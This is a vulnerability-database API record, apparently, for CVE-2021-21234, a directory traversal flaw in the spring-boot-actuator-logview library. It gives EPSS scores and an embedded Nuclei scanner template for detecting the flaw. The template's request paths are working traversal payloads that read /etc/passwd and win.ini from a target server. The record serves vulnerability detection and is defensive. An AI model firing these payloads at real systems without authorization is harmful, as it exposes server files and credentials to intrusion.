{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-21234/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-21234/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-21234/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-21234/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-21234/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-21234"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-21234"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.21011,
      "kev": false,
      "percentile": 0.97463
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-21234.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2021-21234\n\ninfo:\n  name: Spring Boot Actuator Logview Directory Traversal\n  author: gy741,pikpikcu\n  severity: high\n  description: |\n    spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package \"eu.hinsch:spring-boot-actuator-logview\".\n  impact: |\n    This vulnerability can lead to unauthorized access to sensitive information stored on the server.\n  remediation: |\n    Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator.\n  reference:\n    - https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234\n    - https://github.com/cristianeph/vulnerability-actuator-log-viewer\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-21234\n    - https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772\n    - https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6\n    - https://blog.csdn.net/qq_39583774/article/details/123023770#t5\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 7.7\n    cve-id: CVE-2021-21234\n    cwe-id: CWE-22\n    epss-score: 0.21011\n    epss-percentile: 0.97463\n    cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 4\n    vendor: spring-boot-actuator-logview_project\n    product: spring-boot-actuator-logview\n  tags: cve2021,cve,springboot,lfi,actuator,spring-boot-actuator-logview_project,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../\"\n      - \"{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../\"\n      - \"{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../\"\n      - \"{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../\"\n\n    stop-at-first-match: true\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(header,'text/plain')\"\n          - \"regex('root:.*:0:0:', body)\"\n          - \"status_code == 200\"\n        condition: and\n\n      - type: dsl\n        dsl:\n          - \"contains(header,'text/plain')\"\n          - \"contains(body, 'bit app support')\"\n          - \"contains(body, 'fonts')\"\n          - \"contains(body, 'extensions')\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 4b0a00483046022100ebf37bb0a4a47a8678356a8210bc522c4075fd833e6d53132b143f5dcb0b7aa7022100c6fda0bb4e51033521489530f27c3a20210573216ae6bdc7918542d4f25407c6:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-21234"
}